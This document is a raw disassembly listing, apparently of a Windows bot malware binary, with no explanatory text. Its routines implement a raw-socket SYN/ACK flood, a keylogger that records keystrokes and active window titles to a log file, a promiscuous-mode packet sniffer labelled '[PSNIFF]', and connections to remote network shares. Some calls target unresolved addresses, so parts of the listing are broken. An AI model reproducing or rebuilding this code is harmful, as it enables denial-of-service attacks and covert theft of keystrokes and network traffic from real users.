push [esp+14h+arg_8]
mov ebx, eax
call sub_41781F
mov edi, eax
call sub_41730C
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_401A76
add esp, 1Ch
test eax, eax
jnz short loc_401D73
push 1
pop eax
loc_401D73: ; CODE XREF: sub_401D28+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_424058
call edi
push eax
call sub_417302
pop ecx
push 0FFh
push 3
push 2
call dword_43F6E8
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401E4B
call dword_43F5FC
push eax
lea eax, [ebp+var_440]
push offset dword_42642C
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401E2B
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_401E2B: ; CODE XREF: sub_401D82+84j
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_401E4B: ; CODE XREF: sub_401D82+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_43F648
cmp eax, 0FFFFFFFFh
jnz short loc_401EC9
call dword_43F5FC
push eax
lea eax, [ebp+var_440]
push offset dword_4263E4
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401EA9
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_401EA9: ; CODE XREF: sub_401D82+102j
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
call near ptr 25E02EAh
nop
loc_401EC9: ; CODE XREF: sub_401D82+DFj
lea eax, [ebp+var_23C]
push eax
call dword_43F6A8
cmp eax, 0FFFFFFFFh
jnz short loc_401F39
lea eax, [ebp+var_440]
push offset dword_4263B4
push eax
call sub_4172B0
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401F19
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_401F19: ; CODE XREF: sub_401D82+172j
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_401F39: ; CODE XREF: sub_401D82+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_43F668
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_43F6A8
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi
mov [ebp+var_30], eax
loc_401F71: ; CODE XREF: sub_401D82+430j
call edi
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_402235
push 28h
mov [ebp+var_2C], 45h
call dword_43F668
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401FE4
call sub_41730C
mov esi, eax
shl esi, 8
call sub_41730C
add esi, eax
shl esi, 8
call sub_41730C
add esi, eax
shl esi, 8
call sub_41730C
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_401FFA
; ---------------------------------------------------------------------------
loc_401FE4: ; CODE XREF: sub_401D82+233j
push [ebp+var_240]
call sub_40AEE0
pop ecx
push eax
call dword_43F6A8
mov [ebp+var_20], eax
loc_401FFA: ; CODE XREF: sub_401D82+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_402018
call sub_41730C
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_40201E
; ---------------------------------------------------------------------------
loc_402018: ; CODE XREF: sub_401D82+284j
push [ebp+var_B8]
loc_40201E: ; CODE XREF: sub_401D82+294j
call dword_43F668
mov [ebp+var_16], ax
call sub_41730C
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43F668
push 12345678h
mov [ebp+var_18], ax
call dword_43F664
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_40206E
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_4020CA
; ---------------------------------------------------------------------------
loc_40206E: ; CODE XREF: sub_401D82+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_40208E
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_4020CA
; ---------------------------------------------------------------------------
loc_40208E: ; CODE XREF: sub_401D82+301j
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_4020CA
call sub_41730C
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41730C
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_4020CA: ; CODE XREF: sub_401D82+2EAj
; sub_401D82+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_43F668
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_43F668
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_417390
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AF39
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_417390
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_417330
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AF39
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_43F6CC
cmp eax, 0FFFFFFFFh
jz short loc_4021B7
inc [ebp+arg_0]
jmp loc_401F71
; ---------------------------------------------------------------------------
loc_4021B7: ; CODE XREF: sub_401D82+42Bj
push [ebp+var_4]
call dword_43F700
call dword_43F5FC
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_426344
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41782A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_402215
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_402215: ; CODE XREF: sub_401D82+46Ej
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
call near ptr 25E02EAh
nop
loc_402235: ; CODE XREF: sub_401D82+203j
push [ebp+var_4]
call dword_43F700
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_4262E4
push eax
call sub_4172B0
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_4022A6
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_4022A6: ; CODE XREF: sub_401D82+4FFj
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 25E02EAh
sub_401D82 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p
; sub_4023A7+253p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call near ptr 2600000h
nop
lea eax, [ebp+var_114]
push 104h
push eax
nop
call near ptr 25F048Fh
lea eax, [ebp+var_114]
push offset asc_426C1C ; "\\"
push eax
call sub_4179D0
lea eax, [ebp+var_114]
push offset dword_42F684
push eax
call sub_4179D0
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_4179A8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_40232D
push 1
pop eax
jmp short loc_4023A4
; ---------------------------------------------------------------------------
loc_40232D: ; CODE XREF: sub_4022C6+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_417956
push esi
call sub_417900
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4023A2
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_426BDC
push 200h
push eax
call sub_41782A
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_40D679
add esp, 24h
loc_4023A2: ; CODE XREF: sub_4022C6+A3j
xor eax, eax
loc_4023A4: ; CODE XREF: sub_4022C6+65j
pop esi
leave
retn
sub_4022C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_43F5F0
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43F604
mov ebx, 200h
loc_402402: ; CODE XREF: sub_4023A7+2C7j
push 8
nop
call near ptr 25F0439h
call dword_43F5F0
cmp eax, [ebp+var_8]
jz short loc_40248A
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43F604
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_4172B0
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4022C6
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_417330
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_417330
add esp, 0Ch
loc_40248A: ; CODE XREF: sub_4023A7+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_402491: ; CODE XREF: sub_4023A7+2BDj
push 10h
call dword_43F548
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_43F634
test ah, 80h
jz short loc_402529
push 14h
call dword_43F548
test ax, ax
jz short loc_4024DA
cmp esi, 0FFFFFFFFh
jle short loc_4024DA
cmp edi, 40h
jle short loc_4024DA
cmp edi, 5Bh
jge short loc_4024DA
mov [ebp+edi*4+var_8DC], 1
jmp loc_402659
; ---------------------------------------------------------------------------
loc_4024DA: ; CODE XREF: sub_4023A7+112j
; sub_4023A7+117j ...
push 14h
call dword_43F548
test ax, ax
jz short loc_402505
test esi, esi
jge short loc_402519
cmp edi, 40h
jle short loc_402505
cmp edi, 5Bh
jge short loc_402505
mov [ebp+edi*4+var_8DC], 2
jmp loc_402659
; ---------------------------------------------------------------------------
loc_402505: ; CODE XREF: sub_4023A7+13Ej
; sub_4023A7+147j ...
test esi, esi
jge short loc_402519
mov [ebp+edi*4+var_8DC], 3
jmp loc_402659
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_4023A7+142j
; sub_4023A7+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_402659
; ---------------------------------------------------------------------------
loc_402529: ; CODE XREF: sub_4023A7+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_402659
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
cmp edi, 8
push eax
jnz short loc_402561
call sub_417AB0
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_402659
; ---------------------------------------------------------------------------
loc_402561: ; CODE XREF: sub_4023A7+1A5j
call sub_417AB0
cmp eax, 1B9h
pop ecx
jbe short loc_402593
call dword_43F5F0
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43F604
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_4025D4
; ---------------------------------------------------------------------------
loc_402593: ; CODE XREF: sub_4023A7+1C5j
cmp edi, 0Dh
jnz loc_40262B
lea eax, [ebp+var_2DC]
push eax
call sub_417AB0
test eax, eax
pop ecx
jz loc_402659
call dword_43F5F0
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43F604
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_4025D4: ; CODE XREF: sub_4023A7+1EAj
lea eax, [ebp+var_4DC]
push eax
call sub_4172B0
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4022C6
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_417330
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_417330
add esp, 0Ch
jmp short loc_402659
; ---------------------------------------------------------------------------
loc_40262B: ; CODE XREF: sub_4023A7+1EFj
cmp esi, 1
jz short loc_402644
cmp esi, 3
jz short loc_402644
cmp esi, 2
jz short loc_40263F
cmp esi, 4
jnz short loc_402659
loc_40263F: ; CODE XREF: sub_4023A7+291j
push [ebp+arg_0]
jmp short loc_40264B
; ---------------------------------------------------------------------------
loc_402644: ; CODE XREF: sub_4023A7+287j
; sub_4023A7+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_40264B: ; CODE XREF: sub_4023A7+29Bj
lea eax, [ebp+var_2DC]
push eax
call sub_4179D0
pop ecx
pop ecx
loc_402659: ; CODE XREF: sub_4023A7+12Ej
; sub_4023A7+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_426BA4
jl loc_402491
cmp [ebp+var_4], 0
jz loc_402402
push [ebp+var_D8]
call sub_417078
pop ecx
push 0
nop
call near ptr 25E02EAh
sub_4023A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_417B30
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_43F668
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AEE0
pop ecx
push eax
call dword_43F6A8
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_43F6E8
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_40275D
call dword_43F5FC
push eax
lea eax, [ebp+var_2B4]
push offset unk_427604
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402740
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_402740: ; CODE XREF: sub_402688+96j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
push [ebp+var_30]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 25E02EAh
loc_40275D: ; CODE XREF: sub_402688+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_4450CC[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_43F694
cmp eax, 0FFFFFFFFh
jnz short loc_4027E2
call dword_43F5FC
push eax
lea eax, [ebp+var_2B4]
push offset unk_4275C0
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_4027BE
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_4027BE: ; CODE XREF: sub_402688+114j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
pop ecx
push edi
call dword_43F700
push [ebp+var_30]
call sub_417078
pop ecx
push esi
call near ptr 25E02EAh
nop
loc_4027E2: ; CODE XREF: sub_402688+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_43F614
cmp eax, 0FFFFFFFFh
jnz short loc_402865
call dword_43F5FC
push eax
lea eax, [ebp+var_2B4]
push offset unk_427578
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402841
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_402841: ; CODE XREF: sub_402688+197j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
pop ecx
push edi
call dword_43F700
push [ebp+var_30]
call sub_417078
pop ecx
push esi
nop
call near ptr 25E02EAh
loc_402865: ; CODE XREF: sub_402688+177j
push ebx
mov ebx, offset dword_426C78
loc_40286B: ; CODE XREF: sub_402688+21Bj
; sub_402688+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_43F680
cmp eax, 0FFFFFFFFh
jz loc_40297D
cmp [ebp+var_102AB], 6
jnz short loc_40286B
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_40286B
lea eax, [ebp+var_1028C]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_40286B
mov eax, ebx
xor edi, edi
test eax, eax
jz short loc_40286B
mov [ebp+arg_0], ebx
loc_4028D9: ; CODE XREF: sub_402688+26Cj
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_4028FB
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_4028D9
jmp loc_40286B
; ---------------------------------------------------------------------------
loc_4028FB: ; CODE XREF: sub_402688+262j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_43F5A4
movzx eax, ax
push eax
push [ebp+var_C]
call dword_43F6F4
push eax
lea eax, [edi+edi*2]
mov eax, dword_426C8C[eax*8]
push off_426C68[eax*4]
lea eax, [ebp+var_2B4]
push offset unk_427528
push 200h
push eax
call sub_41782A
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_40296B
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_40296B: ; CODE XREF: sub_402688+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
pop ecx
jmp loc_40286B
; ---------------------------------------------------------------------------
loc_40297D: ; CODE XREF: sub_402688+20Ej
call dword_43F5FC
push eax
push offset unk_4274E4
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41782A
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_4029C3
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_4029C3: ; CODE XREF: sub_402688+319j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
pop ecx
push [ebp+var_4]
call dword_43F700
push [ebp+var_30]
call sub_417078
pop ecx
push esi
call near ptr 25E02EAh
nop
sub_402688 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_427B6C
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_427B64 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43C80C
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call near ptr 2610000h
nop
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B5F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B5F
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_43C808
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_43F708
cmp eax, 5
mov ebx, 4C3h
jz short loc_402AAD
cmp eax, ebx
jnz short loc_402AB7
loc_402AAD: ; CODE XREF: sub_4029E9+BEj
push edi
push edi
push edi
push esi
call dword_43F708
loc_402AB7: ; CODE XREF: sub_4029E9+C2j
cmp eax, 5
jz short loc_402AC5
cmp eax, ebx
jz short loc_402AC5
push 1
pop eax
jmp short loc_402AC7
; ---------------------------------------------------------------------------
loc_402AC5: ; CODE XREF: sub_4029E9+D1j
; sub_4029E9+D5j
xor eax, eax
loc_402AC7: ; CODE XREF: sub_4029E9+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_4029E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap
; sub_402DD7+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_427B6C
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_427B64 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43C80C
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
nop
call near ptr 2610000h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B5F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B5F
add esp, 10h
loc_402B5D: ; CODE XREF: sub_402ACC+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_43F5A8
test eax, eax
jz short loc_402B7D
push 7D0h
nop
call near ptr 25F0439h
jmp short loc_402B5D
; ---------------------------------------------------------------------------
loc_402B7D: ; CODE XREF: sub_402ACC+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_402ACC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p
; sub_402DD7+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_417B30
push esi
push edi
push offset byte_42F674
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AEE0
pop ecx
push eax
